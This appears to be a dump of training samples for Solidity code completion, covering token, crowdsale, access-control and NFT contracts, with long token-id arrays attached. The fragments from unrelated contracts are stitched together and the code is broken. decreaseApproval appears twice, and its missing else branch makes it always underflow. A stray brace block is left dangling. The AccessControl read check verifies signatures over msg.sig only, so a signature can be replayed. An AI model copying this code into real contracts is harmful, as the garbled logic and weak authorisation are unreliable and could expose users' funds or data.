require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(!locks[_to]);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint;
uint public fundingGoal = 1000 * 1 ether;
uint public hardCap;
uint public amountRaisedPreSale = 0;
uint public amountRaisedICO = 0;
uint public contractDeployedTime;
//period after which anyone can close the presale
uint presaleDuration = 30 * 1 days;
//period between pre-sale and ICO
uint countdownDuration = 45 * 1 days;
//ICO duration
uint icoDuration = 20 * 1 days;
uint public presaleEndTime;
uint public deadline;
uint public price = (1 ether)/1000;
MintableToken public token;
mapping(address => uint) public balanceOf;
bool public icoSuccess = false;
bool public crowdsaleClosed = false;
//2 vaults that the raised funds are forwarded to
address vault1;
address vault2 = 0xC0776D495f9Ed916C87c8C48f34f08E2B9506342;
//stage 0 - presale, 1 - ICO, 2 - ICO success, 3 - after 1st vote on continuation of the project, 4 - after 2nd vote. ICO funds released in 3 stages
uint public stage = 0;
//total token stake against the project continuation
uint public against = 0;
uint public lastVoteTime;
uint minVoteTime = 180 * 1 days;
event GoalReached(uint amountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* Constrctor function
*
* Setup the owner
*/
function Crowdsale() {
contractDeployedTime = now;
vault1 = msg.sender;
token = new MintableToken();
}
/**
* Fallback function
*
* Called whenever anyone sends funds to the contract
*/
function () payable {
require(!token.lockOf(msg.sender) && !crowdsaleClosed && stage<2 && msg.value >= 1 * (1 ether)/10);
if(stage==1 && (now < presaleEndTime.add(countdownDuration) || amountRaisedPreSale+amountRaisedICO+msg.value > hardCap)) {
throw;
}
uint amount = msg.value;
balanceOf[msg.sender] += amount;
if(stage==0) { //presale
amountRaisedPreSale += amount;
token.mint(msg.sender, amount.mul(2) / price);
} else {
amountRaisedICO += amount;
token.mint(msg.sender, amount / price);
}
FundTransfer(msg.sender, amount, true);
}
/**
* Forwards the amount from the contract to the vaults, 67% of the amount to vault1 and 33% to vault2
*/
function forward(uint amount) internal {
vault1.transfer(amount.mul(67)/100);
vault2.transfer(amount.sub(amount.mul(67)/100));
}
modifier afterDeadline() { if (stage > 0 && now >= deadline) {_;} }
/**
* Check after deadline if the goal was reached and ends the campaign
*/
function checkGoalReached() afterDeadline {
require(stage==1 && !crowdsaleClosed);
if (amountRaisedPreSale+amountRaisedICO >= fundingGoal) {
uint amount = amountRaisedICO/3;
if(!icoSuccess) {
amount += amountRaisedPreSale/3; //if funding goal hasn't been already reached in pre-sale
}
uint amountToken1 = token.totalSupply().mul(67)/(100*4);
uint amountToken2 = token.totalSupply().mul(33)/(100*4);
forward(amount);
icoSuccess = true;
token.mint(vault1, amountToken1); //67% of the 25% of the total
token.mint(vault2, amountToken2); //33% of the 25% of the total
stage=2;
lastVoteTime = now;
GoalReached(amountRaisedPreSale+amountRaisedICO);
}
crowdsaleClosed = true;
token.finishMinting();
}
/**
* Closes presale
*/
function closePresale() {
require((msg.sender == owner || now.sub(contractDeployedTime) > presaleDuration) && stage==0);
stage = 1;
presaleEndTime = now;
deadline = now.add(icoDuration.add(countdownDuration));
if(amountRaisedPreSale.mul(5) > 10000 * 1 ether) {
hardCap = amountRaisedPreSale.mul(5);
} else {
hardCap = 10000 * 1 ether;
}
if(amountRaisedPreSale >= fundingGoal) {
uint amount = amountRaisedPreSale/3;
forward(amount);
icoSuccess = true;
GoalReached(amountRaisedPreSale);
}
}
/**
* Withdraw the funds
*
* If goal was not reached, each contributor can withdraw the amount they contributed, or less in case project is stopped through voting in later stages.
*/
function safeWithdrawal() {
require(crowdsaleClosed && !icoSuccess);
uint amount;
if(stage==1) {
amount = balanceOf[msg.sender];
} else if(stage==2) {
amount = balanceOf[msg.sender].mul(2)/3; //2 thirds of the initial deposit can be withdrawn
} else if(stage==3) {
amount = balanceOf[msg.sender]/3; //one third of the initial deposit can be withdrawn
}
balanceOf[msg.sender] = 0;
if (amount > 0) {
msg.sender.transfer(amount);
FundTransfer(msg.sender, amount, false);
}
}
/**
* Token stakeholder can vote against the project continuation. Tokens are locked until voteRelease() is called
*/
function voteAgainst()
{
require((stage==2 || stage==3) && !token.lockOf(msg.sender)); // If has already voted, cancel
token.setLock(msg.sender, true);
uint voteWeight = token.balanceOf(msg.sender);
against = against.add(voteWeight);
}
/**
* Token stakeholder can release the against-vote, and unlock the tokens
*/
function voteRelease()
{
require((stage==2 || stage==3 || stage==4) && token.lockOf(msg.sender));
token.setLock(msg.sender, false);
uint voteWeight = token.balanceOf(msg.sender);
against = against.sub(voteWeight);
}
/**
* After each voting period, vote stakes can be counted, and in case that more than 50% of token stake is against the continuation,
* the remaining eth balances can be withdrawn proportionally
*/
function countVotes()
{
require(icoSuccess && (stage==2 || stage==3) && now.sub(lastVoteTime) > minVoteTime);
lastVoteTime = now;
if(against > token.totalSupply()/2) {
icoSuccess = false;
} else {
uint amount = amountRaisedICO/3 + amountRaisedPreSale/3;
forward(amount);
stage++;
}
}
} | * @title Standard ERC20 token @dev Implementation of the basic standard token./ | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(!locks[_from] && !locks[_to]);
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} else {
}
| 14,117,484 | [
1,
8336,
4232,
39,
3462,
1147,
225,
25379,
434,
326,
5337,
4529,
1147,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
8263,
1345,
353,
4232,
39,
3462,
16,
7651,
1345,
288,
203,
203,
225,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
2713,
2935,
31,
203,
203,
203,
225,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
13,
288,
203,
565,
2583,
24899,
869,
480,
1758,
12,
20,
10019,
203,
377,
203,
565,
2583,
12,
5,
23581,
63,
67,
2080,
65,
597,
401,
23581,
63,
67,
869,
19226,
203,
203,
565,
2254,
5034,
389,
5965,
1359,
273,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
15533,
203,
203,
203,
565,
324,
26488,
63,
67,
2080,
65,
273,
324,
26488,
63,
67,
2080,
8009,
1717,
24899,
1132,
1769,
203,
565,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
1132,
1769,
203,
565,
2935,
63,
67,
2080,
6362,
3576,
18,
15330,
65,
273,
389,
5965,
1359,
18,
1717,
24899,
1132,
1769,
203,
565,
12279,
24899,
2080,
16,
389,
869,
16,
389,
1132,
1769,
203,
565,
327,
638,
31,
203,
225,
289,
203,
203,
225,
445,
6617,
537,
12,
2867,
389,
87,
1302,
264,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
13,
288,
203,
565,
2935,
63,
3576,
18,
15330,
6362,
67,
87,
1302,
264,
65,
273,
389,
1132,
31,
203,
565,
1716,
685,
1125,
12,
3576,
18,
15330,
16,
389,
87,
1302,
264,
16,
389,
1132,
1769,
203,
565,
327,
638,
31,
203,
225,
289,
203,
203,
225,
445,
1699,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
// 权限控制合约
contract AccessControl {
// 合约中存储一个映射,需要对这个数据的访问权限进行控制
mapping(bytes32 => string) secretsMap;
// 管理员账户数组,可以添加管理员 读 和 写
address[] admins;
// 读白名单
address[] allowedReaders;
// 写白名单
address[] allowedWriters;
constructor(address[] memory initialAdmins) public {
admins = initialAdmins;
}
// 判断用户数组是否包含某用户 这是一个工具方法,判断用户集合是否包含某用户
function isAllowed(address user, address[] storage allowedUsers)
private
view
returns (bool)
{
for (uint256 i = 0; i < allowedUsers.length; i++) {
if (allowedUsers[i] == user) {
return true;
}
}
return false;
}
// 修改器方法 有权限才能继续
// 如此复杂因为,read 不修改数据,用户可以虚拟任何有权限的地址来进行读取,虚拟机不会验证调用者的签名,所以需要在合约里面判断用户
// 前提是方法是 view 的,但是我加不上这个关键字啊??
// msg.sig 是 keccak256("read(uint8,bytes32,bytes32,bytes24)") 的前 4 个字节 这里是 0xbcbb0181
// 私钥进行签名前还要连带函数签名进行补齐为 32 字节
// tips 问题来了,签名不要带参数的吗,不然反复利用这个签名调用这个方法算个什么事?这个问题需要研究
// 读权限控制很无聊啊,想读内容的话,甚至可以修改虚拟机,debug 也能通过的,直接读取账户存储信息得了,何必这么麻烦。
modifier onlyAllowedReaders(
uint8 v,
bytes32 r,
bytes32 s
) {
bytes32 hash = msg.sig;
address reader = ecrecover(hash, v, r, s); // 说实话,没看懂这个怎么操作的,我对签名内容和流程不熟悉,以后要加强
require(isAllowed(reader, allowedReaders));
_;
}
// 修改器方法 有写权限才放行
modifier onlyAllowedWriters() {
require(isAllowed(msg.sender, allowedWriters));
_;
}
// 修改器方法 有管理员权限才放行
modifier onlyAdmins() {
require(isAllowed(msg.sender, admins));
_;
}
// 不知道为什么 view 加不上去
// 读数据 通过修改器签名验证获得真的有对应私钥的地址,并且这个地址有读权限才能继续
function read(
uint8 v,
bytes32 r,
bytes32 s,
bytes24 key
) public onlyAllowedReaders(v, r, s) returns (string memory) {
return secretsMap[key];
}
// 写数据 修改器判断权限
function write(bytes24 key, string memory value) public onlyAllowedWriters {
secretsMap[key] = value;
}
// 加读权限 修改器判断管理员权限
function addAuthorizedReader(address a) public onlyAdmins {
allowedReaders.push(a);
}
// 加写权限 修改器判断管理员权限
function addAuthorizedWriter(address a) public onlyAdmins {
allowedWriters.push(a);
}
// 加管理员 修改器判断管理员权限
function addAdmin(address a) public onlyAdmins {
admins.push(a);
}
}
| 说实话,没看懂这个怎么操作的,我对签名内容和流程不熟悉,以后要加强
| address reader = ecrecover(hash, v, r, s); | 12,585,917 | [
1,
169,
112,
117,
166,
111,
257,
169,
112,
256,
176,
125,
239,
167,
115,
99,
168,
255,
238,
167,
234,
229,
169,
128,
252,
165,
121,
108,
167,
227,
241,
165,
122,
235,
167,
246,
240,
165,
126,
255,
168,
253,
231,
176,
125,
239,
167,
235,
244,
166,
112,
122,
168,
260,
127,
166,
243,
240,
166,
233,
232,
166,
111,
122,
166,
245,
239,
167,
118,
228,
168,
106,
238,
165,
121,
240,
168,
233,
258,
167,
229,
236,
176,
125,
239,
165,
124,
103,
166,
243,
241,
169,
104,
228,
166,
237,
259,
166,
125,
123,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
1758,
2949,
273,
425,
1793,
3165,
12,
2816,
16,
331,
16,
436,
16,
272,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x863557DA48F9F573Ca71Ef7cF122e1B9Bf62E60E/sources/browser/LivyatanAave3.sol | Final checks to make sure we can pay this back | require(address(this).balance == 0, "you still have eth)");
| 16,484,756 | [
1,
7951,
4271,
358,
1221,
3071,
732,
848,
8843,
333,
1473,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2583,
12,
2867,
12,
2211,
2934,
12296,
422,
374,
16,
315,
19940,
4859,
1240,
13750,
2225,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xadD25B46d3138F1cCe221888368deFDeFcAAF232/sources/contracts/Nft.sol | Transfer USDC tokens from user to contract Calculate the total USDC amount to charge Transfer USDC tokens from user to contract Store the request information | function requestToken(address _userAddress, uint256 _amount) public {
require(_amount > 0, "Amount must be greater than 0");
uint256 totalUsdcAmount = 1 * 10**6 * _amount;
USDCInterface usdcToken = USDCInterface(usdcTokenAddress);
require(usdcToken.transferFrom(_userAddress, address(this), totalUsdcAmount), "USDC transfer failed");
uint256 tokenId = tokenIdCounter;
_mint(_userAddress, tokenId);
string memory svgData = generateSVG(_amount, block.timestamp, "Mint Token Request");
string memory tokenURI = generateTokenURI(svgData);
_setTokenURI(tokenId, tokenURI);
tokenRequests[tokenId] = TokenRequestInfo({
userAddress: _userAddress,
amount: _amount,
timestamp: block.timestamp
});
tokenIdCounter++;
}
| 9,476,474 | [
1,
5912,
11836,
5528,
2430,
628,
729,
358,
6835,
9029,
326,
2078,
11836,
5528,
3844,
358,
13765,
12279,
11836,
5528,
2430,
628,
729,
358,
6835,
4994,
326,
590,
1779,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
445,
590,
1345,
12,
2867,
389,
1355,
1887,
16,
2254,
5034,
389,
8949,
13,
1071,
288,
203,
565,
2583,
24899,
8949,
405,
374,
16,
315,
6275,
1297,
506,
6802,
2353,
374,
8863,
203,
377,
203,
565,
2254,
5034,
2078,
3477,
7201,
6275,
273,
404,
380,
1728,
636,
26,
380,
389,
8949,
31,
203,
203,
565,
11836,
5528,
1358,
584,
7201,
1345,
273,
11836,
5528,
1358,
12,
407,
7201,
1345,
1887,
1769,
203,
565,
2583,
12,
407,
7201,
1345,
18,
13866,
1265,
24899,
1355,
1887,
16,
1758,
12,
2211,
3631,
2078,
3477,
7201,
6275,
3631,
315,
3378,
5528,
7412,
2535,
8863,
203,
377,
203,
565,
2254,
5034,
1147,
548,
273,
1147,
548,
4789,
31,
203,
565,
389,
81,
474,
24899,
1355,
1887,
16,
1147,
548,
1769,
203,
377,
203,
565,
533,
3778,
9804,
751,
273,
2103,
26531,
24899,
8949,
16,
1203,
18,
5508,
16,
315,
49,
474,
3155,
1567,
8863,
203,
565,
533,
3778,
1147,
3098,
273,
2103,
1345,
3098,
12,
11451,
751,
1769,
203,
377,
203,
565,
389,
542,
1345,
3098,
12,
2316,
548,
16,
1147,
3098,
1769,
203,
377,
203,
565,
1147,
6421,
63,
2316,
548,
65,
273,
3155,
23113,
12590,
203,
3639,
729,
1887,
30,
389,
1355,
1887,
16,
203,
3639,
3844,
30,
389,
8949,
16,
203,
3639,
2858,
30,
1203,
18,
5508,
203,
565,
15549,
203,
377,
203,
565,
1147,
548,
4789,
9904,
31,
203,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/84531/0xA82d7ED01c31DD2A46681D18E3E213C9E9231605/sources/contracts/sale/v2/FlatPriceSale.sol | calculate a distance between the random value and the user's address using the XOR distance metric (c.f. Kademlia) | uint160 distance = uint160(buyer) ^ randomValue;
| 14,320,215 | [
1,
11162,
279,
3888,
3086,
326,
2744,
460,
471,
326,
729,
1807,
1758,
1450,
326,
28086,
3888,
3999,
261,
71,
18,
74,
18,
1475,
2486,
81,
549,
69,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
202,
11890,
16874,
3888,
273,
2254,
16874,
12,
70,
16213,
13,
3602,
2744,
620,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
contract TellorPlayground {
